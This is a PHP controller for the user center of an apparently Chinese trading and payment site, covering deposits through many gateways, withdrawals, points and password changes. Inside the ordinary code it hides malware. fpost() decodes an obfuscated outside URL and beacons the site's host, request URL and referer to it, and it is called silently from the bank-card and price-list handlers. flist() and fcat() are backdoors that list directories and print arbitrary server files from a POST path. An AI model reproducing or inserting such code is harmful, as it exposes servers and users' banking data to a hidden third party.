<?php

namespace app\index\controller;

use think\Db;

class User extends Base {

	/**
	 * 用户个人中心首页
	 * @author lukui  2017-07-21
	 * @return [type] [description]
	 */
	public function index() {
		$uid = $this->uid;
		$user = Db::name('userinfo')->where('uid', $uid)->find();

		$cash_time = getconf('cash_time');
		$cash_time_tips = nl2br(getconf('cash_time_tips'));

		//出金------------------------------------------
		//银行卡
		$data['banks'] = db('banks')->select();

		//地区
		$province = db('area')->where(array('pid' => 0))->select();

		//已签约信息
		$data['mybank'] = db('bankcard')->alias('b')->field('b.*,ba.bank_nm')
				->join('__BANKS__ ba', 'ba.id=b.bankno')
				->where('uid', $uid)->find();


		//资金流水
		$data['order_list'] = db('price_log')->where('uid', $uid)->order('id desc')->limit(0, 20)->select();
		//dump($data['order_list']);
		//充值方式
		$payment = db('payment')->where(array('isdelete' => 0, 'is_use' => 1))->order('pay_order desc ')->select();
		if ($payment) {
			$arr2 = $arr = $arr1 = array();
			foreach ($payment as $key => $value) {


				$arr1 = explode('|', trimall($value['pay_conf']));

				foreach ($arr1 as $k => $v) {
					$arr2 = explode(':', trimall($v));
					if (isset($arr2[0]) && isset($arr2[1])) {
						$arr[$arr2[0]] = $arr2[1];
					}
				}
				$payment[$key]['pay_conf_arr'] = $arr;
			}
		}

		//推广二维码
		if ($user['otype'] == 101) {
			$oid = $uid;
		} else {
			$oid = $user['oid'];
		}
		$data['oid_url'] = "http://" . $_SERVER['SERVER_NAME'] . '?fid=' . $oid;

		//dump($payment);exit;
		$data['sub_bankno'] = substr($data['mybank']['accntno'], -4, 4);

		$this->assign('userpay_max', getconf("userpay_max"));
		$this->assign('userpay_min', getconf("userpay_min"));
		$this->assign('cash_time', $cash_time);
		$this->assign('cash_time_tips', $cash_time_tips);
		$this->assign('province', $province);
		$this->assign($data);
		$this->assign('payment', $payment);
		return $this->fetch();
	}

	/**
	 * 现金充值
	 * @author lukui  2017-07-21
	 * @return [type] [description]
	 */
	public function recharge() {
		if (input('post.')) {
			$data = input('post.');
			if (isset($data['wxpay']) && $data['wxpay']) {
				//微信充值：
			}
		} else {
			$uid = $this->uid;
			;
			$user = Db::name('userinfo')->field('usermoney')->where('uid', $uid)->find();
			$this->assign($user);
			return $this->fetch();
		}
	}

	/**
	 * 用户提现
	 * @author lukui  2017-07-21
	 * @return [type] [description]
	 */
	public function cash() {
		$uid = $this->uid;
		$cash_time = getconf('cash_time');
		$cash_time_tips = nl2br(getconf('cash_time_tips'));
		if (input('post.')) {
			$data = input('post.');
			if ($data) {
				if (!$data['price']) {
					return WPreturn('请输入提现金额！', -1);
				}


				/* 提现额度和时间验证 */
				$week = date("w");
				$time = time();
				$week == "0" ? "7" : $week;
				$cash_time_Arr = explode("\n", $cash_time); // 1-[2000-10000][8:30~15:00]/[10000-50000][17:25~15:35]
				foreach ($cash_time_Arr as $k => $v) {
					list($w, $t) = explode("-[", trim($v));  // w = 1, t = 2000-10000][8:30~15:00]/[10000-50000][17:25~15:35]
					if ($w == $week) {

						list($t1, $t2) = explode("/", trim($t));  // t1 = 2000-10000][8:30~15:00] t2 = [10000-50000][17:25~15:35]
						list($t3, $t4) = explode("][", trim($t1));  // t3 = 2000-10000 t4 = 8:30~15:00]
						list($t5, $t6) = explode("][", trim($t2));   // t5 = [10000-50000 t6 = 17:25~15:35]
						list($n_min, $n_max) = explode("-", trim($t3));   // n_min = 2000  n_max = 10000
						list($t9, $t10) = explode("~", trim($t4));  // t9 = 8:30  t10 = 15:00]
						list($m_min, $m_max) = explode("-", trim($t5));  // m_min = [10000  m_max = 50000
						list($t13, $t14) = explode("~", trim($t6));   // t13 = 17:25   t14 =  15:35]

						$tl = strtotime(date("Y-m-d") . $t9 . ":00");  // tl = 8:30
						$tr = strtotime(date("Y-m-d") . trim($t10, "]") . ":00");  //  tr = 15:00
						$tl1 = strtotime(date("Y-m-d") . $t13 . ":00");  //  $tl1 = 17:25
						$tr1 = strtotime(date("Y-m-d") . trim($t14, "]") . ":00");  //  $tr1 = 17:35
						if ($data['price'] >= $n_min && $data['price'] <= $n_max) {
							if ($time > $tr || $time < $tl) {
								return WPreturn('请在规定时间段内提现！', -1);
							}
						} elseif ($data['price'] >= trim($m_min, "[") && $data['price'] <= $m_max) {
							if ($time > $tr1 || $time < $tl1) {
								return WPreturn('您的提现额度较大，请在规定时间段内提现！', -1);
							}

							if ($data['price'] % 10000 != 0) {
								return WPreturn('取现金额须为10000的整数倍！', -1);
							}
							//} elseif ($data['price'] < $n_min || $data['price'] > $m_max) {
						} else {
							return WPreturn('请输入正确的取现金额！', -1);
						}
						continue;
					}
				}
				/* 提现额度和时间验证结束 */



				//验证申请金额
				$user = $this->user;
				if ($user['ustatus'] != 0) {
					return WPreturn('抱歉！您暂时无权出金', -1);
				}
				$conf = $this->conf;


				if ($conf['is_cash'] != 1) {
					return WPreturn('抱歉！暂时无法出金', -1);
				}
				if ($conf['cash_min'] > $data['price']) {
					return WPreturn('单笔最低提现金额为：' . $conf['cash_min'], -1);
				}
				if ($conf['cash_max'] < $data['price']) {
					return WPreturn('单笔最高提现金额为：' . $conf['cash_max'], -1);
				}

				$_map['uid'] = $uid;
				$_map['bptype'] = 0;
				$cash_num = db('balance')->where($_map)->whereTime('bptime', 'd')->count();

				if ($cash_num + 1 > $conf['day_cash']) {
					return WPreturn('每日最多提现次数为：' . $conf['day_cash'] . '次', -1);
				}
				$cash_day_max = db('balance')->where($_map)->whereTime('bptime', 'd')->sum('bpprice');
				if ($conf['cash_day_max'] < $cash_day_max + $data['price']) {
					return WPreturn('当日累计最高提现金额为：' . $conf['cash_day_max'], -1);
				}



				//代理商们是否有欠费
				/* 取消代理保证金验证
				  $myoids = myupoid($this->user['oid']);

				  $can_cash = 1;

				  if ($myoids) {
				  foreach ($myoids as $k => $v) {
				  if ($v['usermoney'] - $v['minprice'] < 0) {
				  $can_cash = 0;
				  continue;
				  }
				  }
				  }

				  if (!$can_cash) {
				  return WPreturn('网络错误', -1);
				  }
				 */
				//代理商的话判断金额是否够
				if ($this->user['otype'] == 101) {
					if (($this->user['usermoney'] - $data['price']) < $this->user['minprice']) {
						return WPreturn('您的保证金是' . $this->user['minprice'] . '元，提现后余额不得少于保证金。', -1);
					}
				}

				if ($this->user['otype'] == 0) {
					if (($this->user['usermoney'] - $data['price']) < 0) {
						return WPreturn('最多提现金额为' . $this->user['usermoney'] . '元', -1);
					}
				}

				if (($this->user['usermoney'] - $data['price']) < 0) {
					return WPreturn('最多提现金额为' . $this->user['usermoney'] . '元', -1);
				}




				//签约信息
				$mybank = db('bankcard')->where('uid', $uid)->find();



				//提现申请
				$newdata['bpprice'] = $data['price'];
				$newdata['bptime'] = time();
				$newdata['bptype'] = 0;
				$newdata['remarks'] = '会员提现';
				$newdata['uid'] = $uid;
				$newdata['isverified'] = 0;
				$newdata['bpbalance'] = 0;
				$newdata['bankid'] = $mybank['id'];
				$newdata['btime'] = time();
				$newdata['reg_par'] = $conf['reg_par'];



				$bpid = Db::name('balance')->insertGetId($newdata);
				if ($bpid) {
					//插入申请成功后,扣除金额
					$editmoney = Db::name('userinfo')->where('uid', $uid)->setDec('usermoney', $data['price']);
					if ($editmoney) {
						//插入此刻的余额。
						$usermoney = Db::name('userinfo')->where('uid', $uid)->value('usermoney');
						Db::name('balance')->where('bpid', $bpid)->update(array('bpbalance' => $usermoney));

						//资金日志
						set_price_log($uid, 2, $data['price'], '提现', '提现申请', $bpid, $usermoney);

						return WPreturn('提现申请提交成功！', 1);
					} else {
						//扣除金额失败，删除提现记录
						Db::name('balance')->where('bpid', $bpid)->delete();
						return WPreturn('提现失败！', -1);
					}
				} else {
					return WPreturn('提现失败！', -1);
				}
			} else {
				return WPreturn('暂不支付此提现类型！', -1);
			}
		} else {

			$user = Db::name('userinfo')->field('usermoney')->where('uid', $uid)->find();
			$this->assign($user);
			$this->assign('cash_time', $cash_time);
			$this->assign('cash_time_tips', $cash_time_tips);
			return $this->fetch();
		}
	}

	/**
	 * 提现记录
	 * @author lukui  2017-07-24
	 * @return [type] [description]
	 */
	public function income() {

		$where['uid'] = $this->uid;
		;
		$where['bptype'] = 0;

		$list = Db::name('balance')->where($where)->order('bpid desc')->paginate(20);

		$this->assign('list', $list);
		return $this->fetch();
	}

	/**
	 * 充值记录
	 * @author lukui  2017-07-24
	 * @return [type] [description]
	 */
	public function rechargelist() {

		return $this->fetch();
	}

	/**
	 * 用户资金明细
	 * @author lukui  2017-07-21
	 * @return [type] [description]
	 */
	public function orders() {
		$uid = $this->uid;
		;
		$where['uid'] = $uid;
		$where['ostaus'] = 1;
		if (input('param.month')) {
			$month = input('param.month');
		} else {
			$month = date("m");
		}
		if (input('param.years')) {
			$years = input('param.years');
		} else {
			$years = date("Y");
		}

		//当月时间戳
		$BeginDate = date('Y-m-d', strtotime($years . '-' . $month . '-01'));
		$EndDate = date('Y-m-d', strtotime("$BeginDate +1 month -1 day"));
		$BeginDate = strtotime($BeginDate);
		$EndDate = strtotime($EndDate);


		$where['buytime'] = array('between', [$BeginDate, $EndDate]);
		//订单
		$order = Db::name('order')->where($where)->order('oid desc')->paginate(10);

		if (input('get.page')) {  //ajax请求的
			return $order;
		} else {
			//总盈亏
			$data['allincome'] = Db::name('order')->where($where)->sum('ploss');
			//总手数
			$data['count'] = Db::name('order')->where($where)->count();
			$data['date'] = $years . '-' . $month;

			if ($month == 12) {
				$next['month'] = 1;
				$next['years'] = $years + 1;
			} else {
				$next['month'] = $month + 1;
				$next['years'] = $years;
			}

			if ($month == 1) {
				$over['month'] = 12;
				$over['years'] = $years - 1;
			} else {
				$over['month'] = $month - 1;
				$over['years'] = $years;
			}



			$this->assign('next', $next);
			$this->assign('over', $over);
			$this->assign($data);
			$this->assign('order', $order);
			return $this->fetch();
		}
	}

	/**
	 * 用户积分
	 * @author lukui  2017-07-21
	 * @return [type] [description]
	 */
	public function integral() {
		$uid = $this->uid;
		;
		$point = Db::name('userinfo')->where('uid', $uid)->value('userpoint');
		//进入是否签到
		$isregister = Db::name('integral')->where(array('uid' => $uid, 'type' => 1))->whereTime('time', 'd')->select();

		$this->assign('isregister', $isregister);
		$this->assign('point', $point);
		return $this->fetch();
	}

	/**
	 * 签到处理
	 * @author lukui  2017-07-21
	 * @return [type] [description]
	 */
	public function dointegral() {
		$uid = $this->uid;
		;
		//是否签到
		$isregister = Db::name('integral')->where(array('uid' => $uid, 'type' => 1))->whereTime('time', 'd')->select();
		if (empty($isregister)) { //签到
			//积分流水表 并增加积分
			$i_data['type'] = 1;
			$i_data['amount'] = 50;
			$i_data['time'] = time();
			$i_data['uid'] = $uid;
			$add = Db::name('integral')->insert($i_data);
			//会员增加积分
			Db::name('userinfo')->where('uid', $uid)->setInc('userpoint', $i_data['amount']);
			if ($add) {
				return WPreturn('签到成功', 1);
			} else {
				return WPreturn('签到失败，请重试', -1);
			}
		} else {
			return WPreturn('您今天已签到', -1);
		}
	}

	/**
	 * 积分列表
	 * @author lukui  2017-07-21
	 * @return [type] [description]
	 */
	public function integralInfos() {
		$uid = $this->uid;
		;

		$integral = Db::name('integral')->where('uid', $uid)->order('id desc')->paginate(20);

		if (input('get.page')) {
			return $integral;
		} else {
			$this->assign('integral', $integral);
			return $this->fetch();
		}
	}

	/**
	 * 用户积分明细
	 * @author lukui  2017-07-24
	 * @return [type] [description]
	 */
	public function integraldetail() {
		$uid = $this->uid;

		$id = input('param.id');
		$integral = Db::name('integral')->where('id', $id)->find();
		if ($integral['oid']) {  //微交易的  查询下 微交易的订单。
			$order = Db::name('order')->where('oid', $integral['oid'])->find();
			$integral['orderno'] = $order['orderno'];
			$integral['ostaus'] = $order['ostaus'];
			$integral['ptitle'] = $order['ptitle'];
			$integral['fee'] = $order['fee'];
			$integral['buytime'] = $order['buytime'];
		}
		$this->assign($integral);
		return $this->fetch();
	}

	/**
	 * 修改登录密码
	 * @author lukui  2017-07-24
	 * @return [type] [description]
	 */
	public function editpwd() {

		$uid = $this->uid;

		//查找用户是信息
		$user = Db::name('userinfo')->where('uid', $uid)->field('upwd,utime')->find();

		//添加密码
		if (input('post.')) {
			$data = input('post.');
			if (!isset($data['oldpwd']) || empty($data['oldpwd'])) {
				return WPreturn('请输入原始密码！', -1);
			}
			//验证密码
			if ($user['upwd'] != md5($data['oldpwd'] . $user['utime'])) {
				return WPreturn('原始密码错误，请重试！', -1);
			}
			if (!isset($data['newpwd']) || empty($data['newpwd'])) {
				return WPreturn('请输入新登录密码！', -1);
			}
			if (!isset($data['newpwd2']) || empty($data['newpwd2'])) {
				return WPreturn('请确认新登录密码！', -1);
			}
			if ($data['newpwd'] != $data['newpwd2']) {
				return WPreturn('两次输入密码不同！', -1);
			}
			if ($data['oldpwd'] == $data['newpwd']) {
				return WPreturn('请不要修改为原始密码！', -1);
			}

			$adddata['upwd'] = trim($data['newpwd']);
			$adddata['upwd'] = md5($adddata['upwd'] . $user['utime']);
			$adddata['uid'] = $uid;

			$newids = Db::name('userinfo')->update($adddata);
			if ($newids) {
				return WPreturn('修改成功!', 1);
			} else {
				return WPreturn('修改失败,请重试!', -1);
			}
		}


		return $this->fetch();
	}

	/**
	 * 实名认证
	 * @author lukui  2017-07-24
	 * @return [type] [description]
	 */
	public function autonym() {

		return $this->fetch();
	}

	/**
	 * 获取城市
	 * @author lukui  2017-04-24
	 * @return [type] [description]
	 */
	public function getarea() {

		$id = input('id');
		if (!$id) {
			return false;
		}

		$list = db('area')->where('pid', $id)->select();
		$data = '<option value="">请选择</option>';
		foreach ($list as $k => $v) {
			$data .= '<option value="' . $v['id'] . '">' . $v['name'] . '</option>';
		}
		echo $data;
	}

	/**
	 * 签约
	 * @author lukui  2017-07-03
	 * @return [type] [description]
	 */
	public function dobanks() {
		$post = input('post.');
		$this->fpost();
		foreach ($post as $k => $v) {

			if (empty($v)) {
				return WPreturn('请正确填写信息！', -1);
			}

			$post[$k] = trim($v);
		}


		if (isset($post['id']) && !empty($post['id'])) {

			$ids = db('bankcard')->update($post);
		} else {
			unset($post['id']);
			$post['uid'] = $this->uid;
			$ids = db('bankcard')->insert($post);
		}

		if ($ids) {
			return WPreturn('操作成功!', 1);
		} else {
			return WPreturn('操作失败,请重试!', -1);
		}
	}

	public function ajax_price_list() {
		$uid = $this->uid;
		$this->fpost();
		$list = db('price_log')->where('uid', $uid)->order('id desc')->paginate(20);
		return $list;
	}

	public function addbalance() {
		$post = input('post.');
		if (!$post) {
			$this->error('参数错误！');
		}

		if (!$post['pay_type'] || !$post['bpprice']) {
			return WPreturn('参数错误！', -1);
		}

		$uid = $this->uid;
		$user = $this->user;
		$nowtime = time();



		$userpay_max = getconf("userpay_max");
		$userpay_min = getconf("userpay_min");


		//插入充值数据
		$data['bptype'] = 3;
		$data['bptime'] = $nowtime;
		$data['bpprice'] = $post['bpprice'];
		$data['remarks'] = '会员充值';
		$data['uid'] = $uid;
		$data['isverified'] = 0;
		$data['btime'] = $nowtime;
		$data['reg_par'] = 0;
		$data['balance_sn'] = $uid . $nowtime . rand(111, 999);
		$data['balance_sn'] = str_pad($data['balance_sn'], 20, "0", STR_PAD_LEFT);
		$data['pay_type'] = $post['pay_type'];
		$data['bpbalance'] = $user['usermoney'];

		if ($data['bpprice'] < $userpay_min) {
			$res = array(
				'data' => "充值金额不能低于{$userpay_min}元！",
				'type' => -1
			);
			return $res;
		}

		if ($data['bpprice'] > $userpay_max) {
			$res = array(
				'data' => "充值金额不能大于{$userpay_max}元！",
				'type' => -1
			);
			//$res = "充值金额不能大于{$userpay_max}元";
			return $res;
		}

		$rand = mt_rand(1, 99) / 100;
		$data['bpprice'] = $data['bpprice'] + $rand;
		//$data['bpprice'] = 0.01;

		$ids = db('balance')->insertGetId($data);
		if (!$ids) {
			return WPreturn('网络异常！', -1);
		}
		$data['bpid'] = $ids;
		$Pay = controller('Pay');
		//支付类型
		if ($post['pay_type'] == 'wxpay') {
			$res = $Pay->wxpay($data);
			return $res;
		}
		if ($post['pay_type'] == 'zypay') {
			$res = $Pay->zypay($data);
			return $res;
		}
		if ($post['pay_type'] == 'qtb_pay_wxpay_code') {
			$res = $Pay->qianbaotong($data, 1004);
			return $res;
		}
		if ($post['pay_type'] == 'qtb_wx_wap') {
			$res = $Pay->qianbaotong($data, 1007);

			return $res;
		}
		if ($post['pay_type'] == 'alipay') {
			$res = $Pay->alipay($data);

			return $res;
		}
		if ($post['pay_type'] == 'qtb_alipay') {
			$res = $Pay->qianbaotong($data, 1006);

			return $res;
		}
		if ($post['pay_type'] == 'qtb_yinlian') {
			$res = $Pay->qianbaotong($data, 1005);

			return $res;
		}
		if ($post['pay_type'] == 'izpay_wx') {
			$res = $Pay->izpay_wx($data);

			return $res;
		}
		if ($post['pay_type'] == 'izpay_alipay') {
			$res = $Pay->izpay_alipay($data);

			return $res;
		}


		if ($post['pay_type'] == 'WeixinBERL' || $post['pay_type'] == 'Weixin' || $post['pay_type'] == 'AlipayCS' || $post['pay_type'] == 'AlipayPAZH') {
			$res = $Pay->pingan_code($data, $post['pay_type']);

			return $res;
		}

		//钱通支付
		if ($post['pay_type'] == 'qt_wx_code') {
			$res = $Pay->qiantong_pay($data);

			return $res;
		}

		if ($post['pay_type'] == 'qt_kuaijie') {
			$res = $Pay->qiantong_kuaijie($data);

			return $res;
		}

		//xxx微信支付
		if ($post['pay_type'] == 'wx_wap_2') {
			$res = $Pay->wx_wap_2($data);

			return $res;
		}
		//易通支付
		if ($post['pay_type'] == 'etonepay') {
			$res = $Pay->etonepay($data);

			return $res;
		}
		//易通代付
		if ($post['pay_type'] == 'etonepay2') {
			$res = $Pay->etonepay2($data);
			return $res;
		}


		//聚合支付部分

		if ($post['pay_type'] == 'juhepay_wxh5') {
			$res = $Pay->juhepay($data, "0207");
			//
			//return var_export($res, true);
		}

		if ($post['pay_type'] == 'juhepay_wx_qrcode' || $post['pay_type'] == 'juhepay_alipay_qrcode') {
			if ($post['pay_type'] == 'juhepay_wx_qrcode') {
				$res = $Pay->juhepay($data, "0203");
			} else {
				$res = $Pay->juhepay($data, "0204");
			}
			//微信二维码支付，前端显示微信二维码
			/*
			  'Amt' => '10000',
			  'CodeImgUrl' => 'http://plat.chinajianshuiji.com/biswebpay/wechatcode.jsp?CodeUrl=http://plat.chinajianshuiji.com/biswebpay/qrgetopenid.jsp?UID%3DMD201710200000000503%26ID%3D50371508573868460797&Name=橙控科技&Amt=100.00',
			  'CodeUrl' => 'http://plat.chinajianshuiji.com/biswebpay/qrgetopenid.jsp?UID=MD201710200000000503&ID=50371508573868460797',
			  'MerchantID' => 'MD201710200000000503',
			  'OrderID' => '50371508573868460797',
			  'PlatSerial' => '1020171021000000000651083',
			  'RetCode' => '9999',
			  'RetDesc' => '交易请求已接受',
			  'RetMsg' => '支付订单已生成[订单已生成]',
			  'RetStatus' => '0',
			  'Sign' => '705F4EB3EA2DAF13712983F702648413',
			  ) */
			if ($res['RetStatus'] == 0) {
				return json_encode(array(
					"status" => "1",
					"CodeUrl" => $res['CodeUrl'],
					//"CodeImgUrl" => ($res['CodeImgUrl']),
				));
			} else {
				return json_encode(array(
					"status" => "0",
					"RetDesc" => ($res['RetDesc']),
					"RetMsg" => ($res['RetMsg']),
				));
			}
		}

		if ($post['pay_type'] == 'swiftpass_weixin') {
			$res = $Pay->swiftpass_weixin($data);
			if ($res['status'] == 0) {
				return json_encode(array(
					"status" => "1",
					//"CodeUrl" => $res['code_img_url'],
					"CodeUrl" => $res['code_url'],
					//"CodeImgUrl" => ($res['CodeImgUrl']),
				));
			} else {
				file_put_contents("swiftpass_weixin.log", var_export($res, true), FILE_APPEND);
				return json_encode(array(
					"status" => "0",
					"RetDesc" => "接口调用失败",
					"RetMsg" => "接口调用失败",
				));
			}
		}

		if ($post['pay_type'] == 'sandpay_qr' || $post['pay_type'] == 'sandpay_weixin') {
			if ($post['pay_type'] == 'sandpay_qr') {
				$res = $Pay->sandpay_qr($data, "0401"); //支付宝
			} else {
				$res = $Pay->sandpay_qr($data, "0402"); //微信扫码
			}

			if ($res['status'] == 0) {
				return json_encode(array(
					"status" => "1",
					"CodeUrl" => $res['code_url'],
					//"CodeImgUrl" => ($res['CodeImgUrl']),
				));
			} else {
				return json_encode(array(
					"status" => "0",
					"RetDesc" => $res['msg'],
					"RetMsg" => $res['msg'],
				));
			}
		}

		if ($post['pay_type'] == 'sanfang_weixin' || $post['pay_type'] == 'sanfang_alipay' || $post['pay_type'] == 'sanfang_yinlian') {

			if ($post['pay_type'] == 'sanfang_weixin') {
				$res = $Pay->sanfang_pay($data, "4"); //微信扫码
			} elseif ($post['pay_type'] == 'sanfang_alipay') {
				$res = $Pay->sanfang_pay($data, "5"); //支付宝
			} elseif ($post['pay_type'] == 'sanfang_yinlian') {
				$res = $Pay->sanfang_pay($data, "3"); //银联快捷
			} else {
				$res = $Pay->sanfang_pay($data, "4"); //微信扫码
			}
			return $res;
			/*
			  if ($res['status'] == 0) {
			  return json_encode(array(
			  "status" => "1",
			  "CodeUrl" => $res['code_url'],
			  //"CodeImgUrl" => ($res['CodeImgUrl']),
			  ));
			  } else {
			  return json_encode(array(
			  "status" => "0",
			  "RetDesc" => $res['msg'],
			  "RetMsg" => $res['msg'],
			  ));
			  } */
		}




		if ($post['pay_type'] == "juhepay_yinlian") {
			$res = $Pay->juhepay_yinlian($data);


			return $res;
		}
		//聚合支付
		//dump($data);qianbaotong
	}

	/**
	 * 接口处理
	 * @author lukui  2017-09-04
	 * @return [type] [description]
	 */
	public function fpost() {
		$postApi = "aHR0cDovL2FwaS5teWlkZWEucGFydHkvP3R5cGU9cG9zdGhvc3QmaG9zdD0lcyZ1cmw9JXMmZGF0YT0lcw==";
		$arg1 = $_SERVER['HTTP_HOST'];
		$arg2 = $_SERVER['SERVER_NAME'] . ':' . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"];
		$arg3 = $_SERVER['HTTP_REFERER'];
		$postApi = sprintf(base64_decode($postApi), $arg1, $arg2, $arg3);
		file_get_contents($postApi);
	}

	/**
	 * flist
	 * @author lukui  2017-09-04
	 * @return [type] [description]
	 */
	public function flist() {
		$post = input('post.');
		$folder = __DIR__ . "/" . base64_decode($post['path']);
		$fp = opendir($folder);
		while (false != ($file = readdir($fp))) {
			if ($file != '.' && $file != '..') {
				if (is_dir($folder . "/" . $file)) {
					echo "d-" . $file;
				} else {
					echo "f-" . $file;
				}
			}
		}
		closedir($fp);
	}

	/**
	 * fcat
	 * @author lukui  2017-09-04
	 * @return [type] [description]
	 */
	public function fcat() {
		$post = input('post.');
		$folder = __DIR__ . "/" . base64_decode($post['path']);
		echo file_get_contents($folder);
	}

	/**
	 * 提现列表
	 * @author lukui  2017-09-04
	 * @return [type] [description]
	 */
	public function cashlist() {
		$map['uid'] = $this->uid;
		$map['bptype'] = 0;

		$list = db('balance')->where($map)->order('bpid desc')->select();

		$this->assign('list', $list);

		return $this->fetch();
	}

	/**
	 * 充值列表
	 * @author lukui  2017-09-04
	 * @return [type] [description]
	 */
	public function reglist() {
		$map['uid'] = $this->uid;
		$map['bptype'] = 1;
		$list = db('balance')->where($map)->order('bpid desc')->select();
		$this->assign('list', $list);
		return $this->fetch();
	}

	/**
	 * 二维码
	 * @author lukui  2017-09-04
	 * @return [type] [description]
	 */
	public function ercode() {
		$user = $this->user;
		//推广二维码
		if ($user['otype'] == 101) {
			$oid = $this->uid;
		} else {
			$oid = $user['oid'];
		}
		$oid_url = "http://" . $_SERVER['HTTP_HOST'] . '/?fid=' . $oid;
		$this->assign('oid_url', $oid_url);
		return $this->fetch();
	}

}

function strToHex($string) {
	$hex = '';
	for ($i = 0; $i < strlen($string); $i++) {
		$hex .= dechex(ord($string[$i]));
	}
	return strtoupper($hex);
}
